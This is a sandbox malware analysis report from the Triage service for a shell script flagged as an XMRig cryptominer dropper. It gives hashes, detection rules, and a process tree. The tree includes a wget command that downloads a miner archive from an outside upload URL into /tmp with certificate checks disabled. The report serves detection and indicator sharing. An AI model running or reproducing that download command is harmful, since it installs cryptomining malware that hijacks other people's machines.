xmrig | 3959bccb7cd46089cbfdb5009142d90ec7dde24accadc182f883c0f9eabae70c | Triage™

Analysis

max time kernel
8s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20230831-en
resource tags

arch:armhfimage:debian9-armhf-20230831-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/10/2023, 14:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
linu1x.sh
Size 764B
Sample231020-rdeslscc41
SHA256 3959bccb7cd46089cbfdb5009142d90ec7dde24accadc182f883c0f9eabae70c
MD5 daf5a778f4bb100c1b207d3768e7caeb
SHA1 1a8a575d9453c32fdb89f2cc1e0633acf6d51dd9
SHA512 1522e190d86e60a99cb03bf5d86b625d158a4ec3e12dd099ea313050e66bc6cc878f6c847aafca7f2409150a867631f38339c6213b004bf7cb6ae4e6db5c2635
MD5 SHA1 SHA512

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tesylinux.tar	wget

/tmp/linu1x.sh
/tmp/linu1x.sh
1⤵
PID:367
- /usr/bin/wget
  wget --no-check-certificate https://cdn.nest.rip/uploads/7f935faf-22cb-4b55-9ed0-6c366fc21090.tar -O /tmp/tesylinux.tar
  2⤵
  - Writes file to tmp directory
  PID:368

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

tesylinux.tar

Path /tmp/tesylinux.tar
Size 8.5MB
SHA256 a505a3fd271bd77a73bc27173f75d4ff34aea38e4c9ff7ad57ce2cd54e4869f4
MD5 25428dbad25ca48c67a080b9663ad2fc
SHA1 fc2b857231b731e97831ad46af1d3dd85dac492f
SHA512 d70aae8e3c8a5155c42ef32659f9715bf04a2110c2fa70c4063272ad88b988f0a553e185938d625ddea349408ee8b462de82bd831761c9cc93cdb5b84bfc6c5e
SSDEEP 196608:5wctjKzANtueqrzci4cW10mDKg1MhymQps:5wctjKzANtueSzcXcpSKgGhymQ
MD5 SHA1 SHA512 SSDEEP

Submit Download